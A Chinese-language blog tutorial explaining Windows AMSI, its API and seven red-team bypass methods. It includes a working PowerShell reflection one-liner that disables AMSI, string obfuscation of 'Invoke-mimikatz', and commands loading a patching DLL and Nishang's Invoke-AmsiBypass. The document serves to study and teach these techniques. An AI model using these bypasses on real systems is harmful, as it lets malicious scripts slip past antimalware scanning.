AMSI 简介以及 Bypass AMSI

部分内容来自于 A Detailed Guide on AMSI Bypass - Hacking Articles

Introduction

AMSI 是一组通用接口标准,用于软件与防病毒产品集成。Windows Defender 就是一个 AMSI provider。

AMSI 集成到了以下组件中:

  • UAC(User Account Control)
  • Powershell
  • Windows Script Host(wscript.exe 和 cscript.exe)
  • JavaScript 和 VBScript
  • Office VBA 宏

AMSI 体系结构如下,其中用户自己编写的程序为图中的 Other Application:

AMSI 体系结构

简单来说,AMSI 允许应用程序与 AV 引擎交互。以 Powershell 为例,当用户尝试执行代码时,PowerShell 将代码提交到 AMSI 层执行。如果 AV 引擎认为该内容是恶意的,AMSI 将结果报告给 PowerShell,Powershell 就不会执行这段代码。这是一个对抗基于脚本的无文件恶意代码的好办法。

任何应用程序用户都可以使用 AMSI 来扫描用户输入,这也为我们测试如何进行绕过提供了方便。

AV Provider 可以是任何安全软件,Windows 默认的是 Windows Defender。AMSI 扫描结果就是使用的 AV Provider 的扫描结果。扫描结果取决于 AV Provider,因此不同 Provider 对于同一个内容的扫描结果可能不同。如使用的 Provider 为火绒则不会拦截关键词Invoke-mimikatzamsiutils,但是 Windows Defender 会拦截。

Malare naming convention

首先了解一下恶意软件如何命名。Compputer Antivirus Research Organisation(CARO),给出了一种命名恶意软件的标准,如下图:

Malware naming convention

详细标准:Understanding malware & other threats | Microsoft Docs

How AMSI works

开发者可以使用 AMSI 保护自己的软件,AMSI 提供了 COM 接口和 Win32 API 供用户使用。其工作方式如下图:

AMSI workflow

Amsi.dll 中包含许多函数(见 Reference),但实际执行扫描的函数是AmsiScanString()AmsiScanBuffer()。如果代码无异常,则最终将结果传递给 AV Provider class,然后通过 RPC 传递给 AV Services。如果代码异常,AMSI 则阻止它执行。

一个应用程序使用 amsi 时应按以下顺序调用 amsi.dll 中的导出函数:

  1. AmsiInitialize,初始化 AMSI API
  2. AmsiOpenSession,用于关联多个扫描请求
  3. AmsiScanBuffer,扫描用户输入
  4. AmsiCloseSession,关闭 session
  5. AmsiUninitialize,关闭 AMSI API 实例

使用 C# 模拟应用程序与 AMSI 的交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
using System;
using System.Runtime.InteropServices;

namespace AMSITest
{
static class Program
{
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);

enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}

static void Main(string[] args)
{
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);

var buffer = new byte[4096];

AmsiScanBuffer(amsiContext, buffer, (uint)buffer.Length, "Scan", amsiSession, out AMSI_RESULT amsiResult);
Console.WriteLine(amsiResult);
}
}
}

AMSI Bypass Methods

以下是一些常见的 AMSI Bypass 方式,这些方式在红队成员进行横向或提权时比较常用。Windows 不断进行了更新,导致许多方法已不可用。

使用 Windows Defender 作为 Provider 时,AMSI 阻止了一些关键词,例如Invoke-mimikatzAmsiutils,下面将以这些命令为例说明 AMSI Bypass 的方法。

微软将 AMSI 集成在 Powershell Terminal(powershell.exe)中,Powershell Terminal 接受输入并解析后提交给 Powershell engine。任何 Powershell 的输入都会被 AMSI 扫描。

Method 1: Powershell Downgrade

如果希望运行一个基于 Powershell 的 Payload,但 AMSI 阻止了它,则可以将 Powershell 降级到 2.0。AMSI 只支持 2.0 以上版本。使用以下方式降级:

1
2
3
4
$PsVersionTable			// 查看版本
"amsiutils" // 阻止
powershell -version 2 // 启动 2.0 版本
"amsiutils" // 绕过

此处有两个缺点:

  • 脚本中如果存在高级的功能,2.0 版本可能不会提供
  • 运行 Powershell 2.0 版本需要按照 .Net Framework v2.0.50727

Method 2: Obfuscation

AMSI 使用关键字检测,可以对关键字进行混淆,比如简单的对关键字进行分割:

1
2
Invoke-mimikatz			// 阻止
"Invok"+"e-mim"+"ikatz" // 绕过

实际情况中,挨个分割关键字是比较费时的,因此可参考Bypass AMSI by manual modification | S3cur3Th1sSh1t by @ShitSecure 进行手动混淆。

Rhytmstick 的工具 RythmStick/AMSITrigger: The Hunt for Malicious Strings (github.com) 可以将一段代码提交给 AMSI 然后展示哪一行会触发 AMSI,由此进行针对性的混淆。

也可利用AMSI.fail进行自动化的混淆。

Method 3: Forcing an error

Matt Graeber (@mattifestation) / Twitter 提出了一种 Bypass 方法。这种方式基本上是使 AmsiFailed 为 True,使 AMSI 初始化失败。此时在当前进程中不会执行任何扫描。

1
2
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

Method 4: Memory Hijacking

Daneil Bohannon,Memory Patching AMSI Bypass – Rasta Mouse介绍了 Hook AmsiScanBuffer 的方法,可以使其总是返回AMSI_RESULT_CLEAN。仓库rasta-mouse/AmsiScanBufferBypass: Bypass AMSI by patching AmsiScanBuffer (github.com),编译后得到 ASBBypass.dll(Raj Chandel 编译https://github.com/harshitrajpal/AmsiScanBufferBypass)。可以将该 DLL 集成到 EXE 中,此处使用 Powershell Terminal。

1
2
3
4
[System.Reflection.Assembly]::LoadFile("C:\users\admin\Desktop\ASBBypass.dll")
// 加载 Assembly
[Amsi]::Bypass() // 调用 Bypass
"amsiutils" // 成功绕过

Method 5: Memory Hijacking (obfuscated opcodes)

由于 Method 4 被检测,Fat Rodzianko 提出了修改方法Getting Rastamouse’s AmsiScanBufferBypass to Work Again – Fat Rodzianko,并保存在small modification to Rastemouse’s AmsiScanBuffer bypass to use bytes. Uses different opcode bytes (github.com)。使用时修改脚本名称(否则会被 AMSI 检测),然后运行即可。

1
2
.\a.ps1		// 执行脚本
"amsiutils" // 绕过

Method 6: AMSI bypass by reflection

Paul Laine 在博客中给出了原始的 memory hijacking,AMSI Bypass | Context Information Security US (contextis.com),Shantanu Khonndelwal 使用 Matt Greber 的反射技巧,提高了代码的隐秘性,见Using Reflection for AMSI Bypass - Intruder (redteam.cafe),gist AMSI BYPASS REFECTION (github.com),同样重命名为 a.ps1。

1
2
.\a.ps1		\\ 运行脚本
"amsiutils" \\ 绕过

Method 7: Nishang All in One script

Nikhil Mittal 将 AMSI bypass 脚本加入 Nishang,nishang/Invoke-AmsiBypass.ps1 at master · samratashok/nishang (github.com),包括了六种 bypass AMSI 方法,包括:

  • Unload,Matt Grgeber,从当前的 Powershell session 中卸载 AMSI。
  • Unload2,Matt Grgeber 的另一个方法,同上。
  • Unloadsilent,Matt Grgeber 的又一个方法,卸载同时避免 WMF5 aotologging。
  • Unloadobfuscated,在 Unload 基础上使用 Daneil Bohannon 的方法混淆,避免 WMF5 autologging。
  • Dllhijack - Cornelis de Plaa,使用的 amsi.dll 来自 p0wnedshell (https://github.com/Cn33liz/p0wnedShell)。
  • psv2,如果 .net framework 2.0.50727 在 Windows 10 可用,可以使用 v2.0 版本,这不支持 AMSI。

使用时只需下载脚本运行(nishang/Invoke-AmsiBypass.ps1 at master · samratashok/nishang (github.com)),该工具会自动选择一种方法执行。

1
2
3
Import-Module .\nishang.ps1
Invoke-AmsiBypass -Verbose
“invoke-mimikatz”

Reference

Antimalware Scan Interface (AMSI) - Win32 apps | Microsoft Docs

Memory Patching AMSI Bypass – Rasta Mouse

A Detailed Guide on AMSI Bypass - Hacking Articles

Antimalware Scan Interface functions - Win32 apps | Microsoft Docs

AMSI 简介以及 Bypass AMSI

http://example.com/2022/03/25/amsi/

作者

lll

发布于

2022-03-25

更新于

2023-03-24

许可协议